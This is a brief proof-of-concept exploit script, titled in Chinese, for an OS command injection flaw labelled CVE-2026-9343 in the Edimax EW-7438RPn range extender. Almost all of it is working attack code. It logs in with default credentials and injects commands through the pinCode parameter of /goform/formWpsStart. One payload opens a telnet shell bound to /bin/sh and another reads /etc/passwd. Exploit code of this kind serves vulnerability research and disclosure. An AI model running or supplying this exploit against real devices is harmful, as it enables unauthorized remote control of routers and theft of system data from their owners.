CVE-2026-9343: Edimax EW-7438RPn formWpsStart OS命令注入漏洞

import requests # CVE-2026-9343 PoC - Edimax EW-7438RPn OS Command Injection # Target: /goform/formWpsStart endpoint # Vulnerable Parameter: pinCode target_ip = "192.168.0.1" # Edimax EW-7438RPn default IP target_port = 80 # Authentication credentials (low privilege sufficient) username = "admin" password = "1234" # Construct login session session = requests.Session() login_url = f"http://{target_ip}:{target_port}/login.cgi" login_data = { "username": username, "password": password } # Login to obtain session cookie session.post(login_url, data=login_data) # PoC: OS Command Injection via pinCode parameter # Inject command to create reverse shell or execute arbitrary command poc_url = f"http://{target_ip}:{target_port}/goform/formWpsStart" # Example: Inject command to enable telnetd for remote access payload = { "pinCode": "1234;telnetd -p 23 -l /bin/sh" } response = session.post(poc_url, data=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Alternative: Extract sensitive information payload_info = { "pinCode": "1234;cat /etc/passwd" } response2 = session.post(poc_url, data=payload_info) print(f"Extracted /etc/passwd:\n{response2.text}")